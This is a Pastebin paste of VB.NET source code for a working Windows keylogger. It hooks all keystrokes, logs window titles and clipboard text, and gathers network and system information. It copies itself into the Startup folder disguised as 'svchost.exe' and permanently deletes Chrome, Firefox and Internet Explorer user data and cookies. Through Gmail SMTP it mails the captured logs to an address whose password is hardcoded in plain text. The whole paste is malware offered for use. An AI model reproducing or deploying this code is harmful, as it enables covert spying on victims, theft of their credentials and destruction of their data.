Advertisement
Guest User

Untitled

a guest
Jun 14th, 2017
602
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.55 KB | None | 0 0
  1. Imports System.Text
  2. Imports System.IO
  3. Imports System.ComponentModel
  4. Imports System.Net.Mail
  5.  
  6.  
  7. Public Class Form1
  8. Dim WithEvents K As New Keyboard
  9. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  10. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  11. Private Declare Function ToUnicodeEx Lib "user32.dll" (ByVal wVirtKey As Keys, ByVal wScanCode As UInteger, ByVal lpKeyState() As Byte, ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
  12. Dim strin As String = Nothing
  13. Private Sub keyboardlanguages()
  14. For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  15. TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  16. Next
  17. End Sub
  18. Private Function getactivewindowstitle() As String
  19. Dim mystr As String
  20. mystr = New String(Chr(0), 100)
  21. GetWindowText(GetForegroundWindow, mystr, 100)
  22. mystr = mystr.Substring(0, InStr(mystr, Chr(0)) - 1)
  23. Return mystr
  24. End Function
  25.  
  26. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  27. If strin <> getactivewindowstitle() Then
  28. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + getactivewindowstitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  29. strin = getactivewindowstitle()
  30. End If
  31. End Sub
  32. Private Sub k_down(ByVal key As String) Handles K.Down
  33. TextBox1.Text &= key
  34. End Sub
  35.  
  36. Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
  37. 'windows 7 startup user
  38. Try
  39.  
  40. Dim file1 As String = Application.ExecutablePath
  41. Dim copy1 As String = "c:\users\" + Environment.UserName.ToString + "\appdata\roaming\microsoft\windows\start menu\programs\startup\svchost.exe"
  42. If File.Exists(copy1) Then
  43. Else
  44. System.IO.File.Copy(file1, copy1)
  45. End If
  46. Catch ex As Exception
  47. End Try
  48. End Sub
  49.  
  50. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  51. keyboardlanguages()
  52. Select Case (My.Settings.browser)
  53. Case 0
  54. My.Settings.browser = 1
  55. My.Settings.Save()
  56. My.Settings.Reload()
  57. Case 1
  58. Timer4.Start()
  59. Case 2
  60. Case Else
  61. End Select
  62.  
  63. TextBox1.Text = Now() + vbNewLine + vbNewLine
  64.  
  65. Try
  66. Dim myprocess As New Process()
  67. myprocess.StartInfo.UseShellExecute = False
  68. myprocess.StartInfo.RedirectStandardOutput = True
  69. Try
  70. myprocess.StartInfo.FileName = "ipconfig"
  71. myprocess.StartInfo.Arguments = "/all"
  72. myprocess.StartInfo.CreateNoWindow = True
  73. myprocess.Start()
  74. TextBox1.Text = TextBox1.Text + _
  75. Replace(myprocess.StandardOutput.ReadToEnd(), _
  76. Chr(13) & Chr(13), Chr(13))
  77. myprocess.WaitForExit()
  78. Catch ex As Win32Exception
  79. End Try
  80. Catch ex As Exception
  81. End Try
  82. Try
  83. TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "user name: " + Environment.UserName.ToString
  84. TextBox1.Text = TextBox1.Text + vbNewLine + "computer Name: " + Environment.MachineName.ToString
  85. TextBox1.Text = TextBox1.Text + vbNewLine + "screen: " + My.Computer.Screen.WorkingArea.ToString
  86. TextBox1.Text = TextBox1.Text + vbNewLine + "os version: " + Environment.OSVersion.ToString
  87. TextBox1.Text = TextBox1.Text + vbNewLine + "run time: " + Environment.Version.ToString
  88. TextBox1.Text = TextBox1.Text + vbNewLine + "system root: " + Environment.SystemDirectory.ToString
  89. TextBox1.Text = TextBox1.Text + vbNewLine + "user domain Name: " + Environment.UserName.ToString
  90. TextBox1.Text = TextBox1.Text + vbNewLine + "total physical memory: " + My.Computer.Info.TotalPhysicalMemory.ToString
  91. TextBox1.Text = TextBox1.Text + vbNewLine + "remain physical memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString
  92. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  93. K.CreateHook()
  94. Catch ex As Exception
  95. End Try
  96. End Sub
  97.  
  98. Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
  99. 'Windows 7
  100.  
  101. 'mozilla deletes folder and .ini file
  102. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini") Then
  103. Try
  104. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  105. System.IO.File.Delete("c:\users" + Environment.UserName.ToString + "\appdata\roaming\mozilla\firefox\profiles.ini")
  106.  
  107. Catch ex As Exception
  108. End Try
  109. Else
  110.  
  111. End If
  112.  
  113. 'chrome deletes folder
  114. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data") Then
  115. Try
  116. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  117. Catch ex As Exception
  118. End Try
  119. Else
  120.  
  121. End If
  122.  
  123. 'IE delete folder
  124.  
  125. If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies") Then
  126. Try
  127. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  128. Catch ex As Exception
  129. End Try
  130. Else
  131.  
  132. End If
  133.  
  134. My.Settings.browser = 2
  135. My.Settings.Save()
  136. My.Settings.Reload()
  137. Timer4.Stop()
  138. End Sub
  139.  
  140. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
  141. Try
  142. Dim mymailmessage As New mailmessage()
  143. mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  144. mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  145. mymailmessage.Subject = Environment.UserName.ToString + "turned off part:" + My.Settings.part.ToString
  146. mymailmessage.body = TextBox1.Text
  147. Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  148. SMTpServer.port = 587
  149. SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  150. SMTpServer.EnableSsl = True
  151. SMTpServer.send(mymailmessage)
  152. Catch ex As Exception
  153. End Try
  154. My.Settings.part = My.Settings.part + 1
  155. My.Settings.Save()
  156. My.Settings.Reload()
  157. End Sub
  158.  
  159. Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  160. Try
  161. Timer1.Stop()
  162. Dim mymailmessage As New MailMessage()
  163. mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  164. mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  165. mymailmessage.Subject = Environment.UserName.ToString + "part:" + My.Settings.part.ToString + My.Settings.part.ToString + TextBox2.Text
  166. 'sent this
  167. mymailmessage.Body = "compare info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine +
  168. "display name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  169. "english name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  170. "left language tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine +
  171. "name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine +
  172. "native name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine +
  173. "text info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine +
  174. "3 letter ISOlanguage name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  175. "3 letter windows language name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  176. "2 letter ISO language name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  177. Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  178.  
  179. SMTpServer.Port = 587
  180. SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  181. SMTpServer.EnableSsl = True
  182. SMTpServer.Send(mymailmessage)
  183. TextBox1.Clear()
  184. Timer1.Start()
  185. Catch ex As Exception
  186. End Try
  187. My.Settings.part = My.Settings.part + 1
  188. My.Settings.Save()
  189. My.Settings.Reload()
  190. End Sub
  191. End Class
  192.  
  193.  
  194. keyboard languages class
  195.  
  196.  
  197. Public Class Keyboard
  198. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  199. Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  200. Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  201. Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  202. Public Shared Event Down(ByVal Key As String)
  203. Public Shared Event Up(ByVal Key As String)
  204. Private Shared Key As Integer
  205. Private Shared KHD As KDel
  206. Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  207. Public Sub CreateHook()
  208. KHD = New KDel(AddressOf Proc)
  209. Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  210. End Sub
  211.  
  212. Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  213. If (Code = 0) Then
  214. Select Case wParam
  215. Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  216. Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  217. End Select
  218. End If
  219. Return CallNextHookEx(Key, Code, wParam, lParam)
  220. End Function
  221. Public Sub DiposeHook()
  222. UnhookWindowsHookEx(Key)
  223. MyBase.Finalize()
  224. End Sub
  225. Private Function Feed(ByVal e As Keys) As String
  226. Select Case e
  227. Case 65 To 90
  228. If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  229. Return e.ToString
  230. Else
  231. Return e.ToString.ToLower
  232. End If
  233. Case 48 To 57
  234. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  235. Select Case e.ToString
  236. Case "D1" : Return "!"
  237. Case "D2" : Return "@"
  238. Case "D3" : Return "#"
  239. Case "D4" : Return "$"
  240. Case "D5" : Return "%"
  241. Case "D6" : Return "^"
  242. Case "D7" : Return "&"
  243. Case "D8" : Return "*"
  244. Case "D9" : Return "("
  245. Case "D0" : Return ")"
  246. End Select
  247. Else
  248. Return e.ToString.Replace("D", Nothing)
  249. End If
  250. Case 96 To 105
  251. Return e.ToString.Replace("NumPad", Nothing)
  252. Case 106 To 111
  253. Select Case e.ToString
  254. Case "Divide" : Return "/"
  255. Case "Multiply" : Return "*"
  256. Case "Subtract" : Return "-"
  257. Case "Add" : Return "+"
  258. Case "Decimal" : Return "."
  259. End Select
  260. Case 32
  261. Return " "
  262. Case 186 To 222
  263. If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  264. Select Case e.ToString
  265. Case "OemMinus" : Return "_"
  266. Case "Oemplus" : Return "+"
  267. Case "OemOpenBrackets" : Return "{"
  268. Case "Oem6" : Return "}"
  269. Case "Oem5" : Return "|"
  270. Case "Oem1" : Return ":"
  271. Case "Oem7" : Return """"
  272. Case "Oemcomma" : Return "<"
  273. Case "OemPeriod" : Return ">"
  274. Case "OemQuestion" : Return "?"
  275. Case "Oemtilde" : Return "~"
  276. End Select
  277. Else
  278. Select Case e.ToString
  279. Case "OemMinus" : Return "-"
  280. Case "Oemplus" : Return "="
  281. Case "OemOpenBrackets" : Return "["
  282. Case "Oem6" : Return "]"
  283. Case "Oem5" : Return ""
  284. Case "Oem1" : Return ";"
  285. Case "Oem7" : Return "'"
  286. Case "Oemcomma" : Return ","
  287. Case "OemPeriod" : Return "."
  288. Case "OemQuestion" : Return "/"
  289. Case "Oemtilde" : Return "`"
  290. End Select
  291. End If
  292. Case Keys.Return
  293. Return Environment.NewLine
  294. Case Else
  295. Return "<" + e.ToString + ">"
  296. End Select
  297. Return Nothing
  298. End Function
  299. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement